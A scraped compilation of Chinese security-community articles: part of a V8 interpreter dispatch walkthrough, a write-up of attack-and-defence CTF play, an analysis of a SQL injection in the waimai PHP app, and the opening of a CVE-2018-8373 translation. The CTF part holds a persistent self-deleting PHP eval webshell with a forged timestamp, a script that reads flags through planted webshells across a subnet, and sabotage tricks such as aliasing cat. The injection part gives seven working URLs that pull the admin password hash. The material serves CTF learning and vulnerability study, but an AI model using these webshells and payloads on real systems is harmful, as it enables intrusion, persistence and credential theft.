39. // Load the object in |slot_index| of the context at |depth| in the context
40. // chain starting at |context| into the accumulator.
41. IGNITION_HANDLER(LdaImmutableContextSlot, InterpreterAssembler) {
42. TNode<Context> context = CAST(LoadRegisterAtOperandIndex(0));
43. TNode<IntPtrT> slot_index = Signed(BytecodeOperandIdx(1));
44. TNode<Uint32T> depth = BytecodeOperandUImm(2);
45. TNode<Context> slot_context = GetContextAtDepth(context, depth);
46. TNode<Object> result = LoadContextElement(slot_context, slot_index);
47. SetAccumulator(result);
48. Dispatch();
49. }
上述代码给出了三条字节码处理程序，它们的尾部都调用了`Dispatch()`方法。下面给出`Dispatch()`源码，并解释重要语句。
1. void InterpreterAssembler::Dispatch() {
2. Comment("========= Dispatch");
3. DCHECK_IMPLIES(Bytecodes::MakesCallAlongCriticalPath(bytecode_), made_call_);
4. TNode<IntPtrT> target_offset = Advance();
5. TNode<WordT> target_bytecode = LoadBytecode(target_offset);
6. if (Bytecodes::IsStarLookahead(bytecode_, operand_scale_)) {
7. target_bytecode = StarDispatchLookahead(target_bytecode);
8. }
9. DispatchToBytecode(target_bytecode, BytecodeOffset());
10. }
第2行代码是注释功能，调试代码时很有用；第4行`Advance()`是获取目标字节码在`bytecode
array`中的偏移量，请读者自行分析；第5行读取目标字节码；第9行进入`DispatchToBytecode()`，该方法又进入`DispatchToBytecodeHandlerEntry()`，代码如下：
void InterpreterAssembler::DispatchToBytecodeHandlerEntry(
TNode<RawPtrT> handler_entry, TNode<IntPtrT> bytecode_offset) {
// Propagate speculation poisoning.
TNode<RawPtrT> poisoned_handler_entry =
UncheckedCast<RawPtrT>(WordPoisonOnSpeculation(handler_entry));
TailCallBytecodeDispatch(InterpreterDispatchDescriptor{},
poisoned_handler_entry, GetAccumulatorUnchecked(),
bytecode_offset, BytecodeArrayTaggedPointer(),
DispatchTablePointer());
}
该方法的参数1是目标字节码，它的作用是从`dispatch
table`中索引对应的字节码处理程序；参数2是目标字节码的偏移量，它的作用是从`bytecode
array`中读取操作数，下面进入`TailCallBytecodeDispatch()`:
0. template <class... TArgs>
1. void CodeAssembler::TailCallBytecodeDispatch(
2. const CallInterfaceDescriptor& descriptor, TNode<RawPtrT> target,
3. TArgs... args) {
4. DCHECK_EQ(descriptor.GetParameterCount(), sizeof...(args));
5. auto call_descriptor = Linkage::GetBytecodeDispatchCallDescriptor(
6. zone(), descriptor, descriptor.GetStackParameterCount());
7. Node* nodes[] = {target, args...};
8. CHECK_EQ(descriptor.GetParameterCount() + 1, arraysize(nodes));
9. raw_assembler()->TailCallN(call_descriptor, arraysize(nodes), nodes);
10. }
代码第5行建立目标字节码的`call discriptor`，见下面代码：
0. CallDescriptor* Linkage::GetBytecodeDispatchCallDescriptor(
1. Zone* zone, const CallInterfaceDescriptor& descriptor,
2. int stack_parameter_count) {
3. const int register_parameter_count = descriptor.GetRegisterParameterCount();
4. const int parameter_count = register_parameter_count + stack_parameter_count;
5. DCHECK_EQ(descriptor.GetReturnCount(), 1);
6. LocationSignature::Builder locations(zone, 1, parameter_count);
7. locations.AddReturn(regloc(kReturnRegister0, descriptor.GetReturnType(0)));
8. for (int i = 0; i < parameter_count; i++) {
9. if (i < register_parameter_count) {
10. // The first parameters go in registers.
11. Register reg = descriptor.GetRegisterParameter(i);
12. MachineType type = descriptor.GetParameterType(i);
13. locations.AddParam(regloc(reg, type));
14. } else {
15. int stack_slot = i - register_parameter_count - stack_parameter_count;
16. locations.AddParam(LinkageLocation::ForCallerFrameSlot(
17. stack_slot, MachineType::AnyTagged()));
18. }
19. }
20. MachineType target_type = MachineType::Pointer();
21. LinkageLocation target_loc = LinkageLocation::ForAnyRegister(target_type);
22. const CallDescriptor::Flags kFlags =
23. CallDescriptor::kCanUseRoots | CallDescriptor::kFixedTargetRegister;
24. return new (zone) CallDescriptor( // -- 25. CallDescriptor::kCallAddress, // kind
26. target_type, // target MachineType
27. target_loc, // target location
28. locations.Build(), // location_sig
29. stack_parameter_count, // stack_parameter_count
30. Operator::kNoProperties, // properties
31. kNoCalleeSaved, // callee-saved registers
32. kNoCalleeSaved, // callee-saved fp
33. kFlags, // flags
34. descriptor.DebugName());
35. }
这个函数的参数2是目标字节码，参数3是栈参数的数量，函数的作用是申请寄存器等资源、生成`CallDescriptor`。`CallDescriptor`描述了调用字节码时应该提供的参数类型、数量等，代码24行的注释给出了它的布局。
返回`TailCallBytecodeDispatch()`，第9行`raw_assembler()->TailCallN()`的第一个参数是`CallDescriptor`，源码下如:
1. void RawMachineAssembler::TailCallN(CallDescriptor* call_descriptor,
2. int input_count, Node* const* inputs) {
3. // +1 is for target.
4. DCHECK_EQ(input_count, call_descriptor->ParameterCount() + 1);
5. Node* tail_call =
6. MakeNode(common()->TailCall(call_descriptor), input_count, inputs);
7. schedule()->AddTailCall(CurrentBlock(), tail_call);
8. current_block_ = nullptr;
9. }
第5行生成`Node`节点，第7行由`AddTailCall()`把节点加到当前基本块（Basic
Block）的尾部，完成字节码调度，`AddTailCall()`源码请读者自行分析，图2给出了上述过程的调用堆栈。
学习过程中，需要分析和调试汇编码，思路一旦中断就可能得从头再来，一定要多做笔记。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 一次"线下awd"心得
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在参加比赛之前，团队大师傅为了让我们知道怎么打，特意给我们搭的环境，在经过了好多天的模拟之后，我也大致了解了awd该怎么去玩。
## 什么是awd
**AWD：Attack With
Defence，译为攻击与守护，是指在比赛中每个队伍维护一台或者多台服务器，服务器中有多个漏洞和一些预留后门，利用漏洞攻击其他队伍可以得分，而修复漏洞看主办方规定，可能加分也可能不加分。**
* 服务器一般为web服务器，大多数为Linux操作系统，flag一般放在根目录下
* flag会在规定时间进行一次刷新
* 每个队伍都有一个自己的初始分数
* 主办方会对每个队伍服务器进行check，服务器被判定宕机会扣除本轮flag分数
* 一般会给队伍一个低权限用户，一般不会是直接给root权限，需要每个队伍去进行提权
## 比赛方式
一般比赛会是flag放在根目录，然后通过获取其他队伍的shell进行读取操作，得到flag。
在比赛中，主办方可能会告诉你其他队伍的IP，也可能不说，一般在同一个B段或者C段，因此可以用nmap扫描工具发现其他队伍的IP。
nmap -sn 192.168.171.0/24
## 比赛分工
awd模式一般分为三个人，一个人防御，两个人进攻。
## 赛前准备
首先，准备好各种的脚本，批量getflag脚本，批量提交flag脚本(没有这两个，你就需要去手动获得对方shell，然后读取flag，纯手工不仅手累，而且效率低)。然后就是各种的比如文件监控脚本，waf以及其他的一些防御脚本，此外还要准备各种马，一句话，不死马，变种马，冰蝎等等。不至于比赛中耗费时间去写。
然后就是准备好自己的心态，不要发生心态爆炸的情况。
最后就是队伍内分好工作，进行详细的沟通以及在测试联系时多沟通。
## 比赛过程
### 防守
把网站根目录文件备份下来，拖到D盾扫描预留后门，然后抓紧时间删除预留后门，然后可以把文件拖到seay中进行审计，逐步排除危险漏洞等文件内容。
另外可以利用脚本进行防守。一般分为两种脚本：WAF和文件监控
`WAF：`
对于waf，GitHub上有许多种类版本的，可以视情况选择。具体使用：
1. 将waf.php文件上传到要包含的文件目录
2. 在页面中加入防护。
可以在所需防护的页面源码中加入requtre_once(‘waf.php’);或者在网站的一个共用文件，例如config.inc.php中加入requtre_once(‘waf.php’);
然后在这里贴上大师傅的
常见PHP系统添加文件
> PHPCMS V9 \phpcms\base.php
> PHPWIND8.7 \data\sql_config.php
> DEDECMS5.7 \data\common.inc.php
> DiscuzX2 \config\config_global.php
> Wordpress \wp-config.php
> Metinfo \include\head.php
在php.ini中找到
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
特别注意的是：在自己服务器上面挂waf可能会导致网页主页等一些功能显示异常，需要自己详细的考虑。
`文件监控`
对于文件监控脚本，GitHub上面也有很多，具体的功能就是会发现服务器新上传的文件并进行拦截，发现被修改的文件会立即修复，可以防止别人的上传shell攻击等。
# -*- coding: utf-8 -*- #use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
`日志分析`
利用命令行，输入`tailf /var/log/apache2/access.log`
查看日志文件，进行分析，观察攻击者是以哪个方式进行攻击的。
### 攻击
`批量得到flag脚本:`
#coding=utf-8
import requests
url_head="http://10.100.100." #网段
shell_addr="/upload/url/shell.php" #木马路径
passwd="xiaoma" #木马密码
port=""
payload = {passwd: 'System(\'cat /flag\');'}
webshelllist=open("webshelllist.txt","w")
flag=open("flag.txt","w")
for i in range(130,160
):
url=url_head+str(i)+":"+port+shell_addr
try:
res=requests.post(url,payload,timeout=1)
if res.status_code == requests.codes.ok:
result = url+" connect shell sucess,flag is "+res.text
print (result)
flag.write(result+"\n");
print >>flag,result
print >>webshelllist,url+","+passwd
else:
print ("shell 404")
except:
print (url+" connect shell fail")
webshelllist.close()
flag.close()
`批量提交flag脚本：`
def submit(flag, token):
url = "wangzhi"
pos = {
"flag":flag
"token":token
}
print "[+] Submiting flag : [%s]" % (pos)
response = requests.post(url,data=data)
content = response.content
print "[+] Content : %s " % (content)
if failed in content:
print "[-]failed"
return False
else:
print "[+] Success!"
return True
但是很可惜，在这次 **“awd”** 比赛中，并没有用上。而且在用的时候，需要进行一些修改，调试。
`种不死马`
在比赛过程中，可以抢一波预留后门，得到shell，然后往服务器里面种不死马，进一步维护自己的权限，然后可以用分裂马等一些马传上去。
对于不死马，GitHub上面也有好多，这里给出我自己的一个不死马。有兴趣的可以在本地尝试
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST['cmd']);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .shell.php');
usleep(5000);
}
?>
而对于删除不死马，首先需要找到他的进程，关掉进程之后，才能删掉，不然会一直生成，删不掉。
而对于关闭进程，这里贴出自己用的命令
ps aux | grep www-data | awk '{print $2}' | xargs kill -9 //删除www-date用户下的所有进程
接着直接删除不死马文件
### 骚姿势
在awd比赛中，往往有一些大师傅热衷于去搅屎，而在这里也贴出自己团队大师傅说的一些骚姿势
**起别名**
在Linux系统中，可以通过`alias`对系统命令起一些别名，这样子用本来的名字时会出现你事先设置好的东西，而不是执行这个命令。
比如：`alias cat="echo`date`|md5sum|cut -d ' ' -f1||"`
这个命令用于在输入`cat`时输出一串类似flag的字符串。
想要删除时只需要输入`alias -a`即可。
**软链接**
在得到对方shell之后，对方肯定会发现后门文件，就会想办法进行修补，这时候可以用Linux中的软链接功能，把flag软链接道到一个可写可读文件中。
**文件名称**
对于文件名称，一般写入不死马用的都是.xxx.php隐藏起来，但是一看就知道有很大嫌疑，所以名字可以用-xxx.php来命名，这样子当你用命令行删除时，Linux会默认-后面是命令参数而无法执行，只能手动去删除。
效果图同上
**修改文件权限**
对于一些文件有写权限的可以选择修改他的权限，让别人无法往里面写入文件
命令`chmod 555 指定文件路径`
**其他搅屎操作**
很多的，例如封对手IP了什么的，好多搅屎操作都是在大师傅们的无聊中搞出来了，不过这样的awd打起来不是更有意思吗？
## 尾言
本来打算是这次参加线下赛之后回来总结一下自己的一些心得的，但是怎么说呢，这个线下赛一言难尽，也挺不错的，最起码接触了一下线下awd实战，不管怎样，这对于之后的学习都会有帮助的，继续加油！ | 社区文章 |
代码来源：<https://github.com/caokang/waimai>
# **0x01 前言**
也是某天闲的无聊，看到CVE上有个老哥提了一个SQL的注入漏洞，就借此分析学习了一波。
# **0x02 分析过程**
本地搭建了环境，最终产生SQL注入的代码位于inc/Lib/Core/Db.class.php
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') ';
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1])?strtoupper($val[$count-1]):'';
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= '('.$key.' '.$data.') '.$rule.' ';
}else{
$op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
$whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
}
}
$whereStr = substr($whereStr,0,-4);
}
}else {
//对字符串类型字段采用模糊匹配
if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
$val = '%'.$val.'%';
$whereStr .= $key.' LIKE '.$this->parseValue($val);
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
这是一个where查询的解析函数，可以看到这里根据val的类型和值进行了多个if判断，发现基本上每个条件判断里都有一个parseValue函数，我们跟进去看一下。
protected function parseValue($value) {
if(is_string($value)) {
$value = '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
基本上调用parseValue的查询都会被增加转义符，理论上无法直接存在注入。但是仔细看可以发现，里面有一个诡异的判断：
这两个条件并没有调用parseValue，而是直接拼接了val数组的值。
所以存在两种情况可以绕过这个parseValue：
1. val[0] == 'exp', val[1] == payload；
2. val[2] == 'exp', val[0] == payload 或val[1] == payload；
很奇怪啊这个地方，非常不理解为啥排除了这两个地方的过滤。
后面就是找到调用关系就行了，全局搜了下parseWhereItem的调用地方，全部出现在parseWhere函数中：
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
$whereStr .= '( ';
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
throw_exception(L('_EXPRESS_ERROR_').':'.$key);
}
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' OR ',$str);
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' AND ',$str);
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= ' )'.$operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
而parseWhere函数调用在update、delete和parseSql函数中。parseSql是一个替换SQL语句中关键字的函数：
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%COMMENT%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseComment(!empty($options['comment'])?$options['comment']:'')
),$sql);
return $sql;
}
当查询语句是where类型的查询时，parseWhere会传入参数，生成where查询语句。再继续向上跟进调用parseSql函数的地方buildSelectSql：
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
if(strpos($options['page'],',')) {
list($page,$listRows) = explode(',',$options['page']);
}else{
$page = $options['page'];
}
$page = $page?$page:1;
$listRows= isset($listRows)?$listRows:(is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*((int)$page-1);
$options['limit'] = $offset.','.$listRows;
}
if(C('DB_SQL_BUILD_CACHE')) { // SQL创建缓存
$key = md5(serialize($options));
$value = S($key);
if(false !== $value) {
return $value;
}
}
$sql = $this->parseSql($this->selectSql,$options);
$sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
if(isset($key)) { // 写入SQL创建缓存
S($key,$sql,array('expire'=>0,'length'=>C('DB_SQL_BUILD_LENGTH'),'queue'=>C('DB_SQL_BUILD_QUEUE')));
}
return $sql;
}
buildSelectSql函数向上跟进，在select函数中：
public function select($options=array()) {
$this->model = $options['model'];
$sql = $this->buildSelectSql($options);
$cache = isset($options['cache'])?$options['cache']:false;
if($cache) { // 查询缓存检测
$key = is_string($cache['key'])?$cache['key']:md5($sql);
$value = S($key,'',$cache);
if(false !== $value) {
return $value;
}
}
$result = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
if($cache && false !== $result ) { // 查询缓存写入
S($key,$result,$cache);
}
return $result;
}
select最终调用在find函数中：
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
$this->data = $resultSet[0];
$this->_after_find($this->data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($this->data,$this->options['result']);
}
return $this->data;
}
因此只要在查询过程中调用find函数的，并且按照最初的分析构造传入一个数组，最终会绕过过滤函数执行SQL语句。
全局搜下find()函数，还是挺多的：
整个SQL的调用栈应该是这样的：
# **0x03 复现**
分析完调用过程开始构造poc，以product模块为例，需要传递一个id的数组，这里用val[0] == 'exp', val[1] ==
payload这种方式构造，得出的完整url应该是这样的：
[http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/index.php?m=product&a=index&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
这里需要注意，我们想构造的最后的查询语句应该是这样的：
SELECT * FROM `sn_article` WHERE ( (`aid` in ('XX'))/**/or substr((select
userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1
所以需要两个右括号，第一个闭合WHERE中的第一个条件(`aid` in ('XX'))，第二个闭合WHERE。用户为admin，密码md5第一位是9。
下面开始测试
存在此处SQL问题的还有很多：
1、[http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/index.php?m=product&a=index&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
2、[http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp](http://localhost:8888/waimai-master/index.php?m=product&a=index&id\[0\]=in%20\(%27xx%27\)\)/*&id\[1\]=*/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27%20--%20&id\[2\]=exp)
3、[http://localhost:8888/waimai-master/index.php?m=article&a=s&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/index.php?m=article&a=s&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
4、[http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
5、[http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
6、[http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
7、[http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+](http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id\[0\]=exp&id\[1\]=in%20\(%27XX%27\)\)/**/or%20substr\(\(select%20userpass%20from%20sn_members%20where%20uid=1\),1,1\)=%279%27\)%20--+)
# **0x04 总结**
参考：<https://github.com/caokang/waimai/issues/9>
提前给师傅们拜年了~ | 社区文章 |
本文翻译自：
<https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>
* * *
Trend
Micro研究人员7月11日发现一个高风险IE漏洞，研究人员发送漏洞细节给微软并帮助修复了该漏洞。漏洞CVE编号为CVE-2018-8373，影响Windows最新版本的VBScript引擎，因为Windows
10 Redstone 3 (RS3)默认不启用VBScript，所以IE 11未受到影响。
研究人员发现了恶意web流量中的利用，下图是使用的恶意URL：
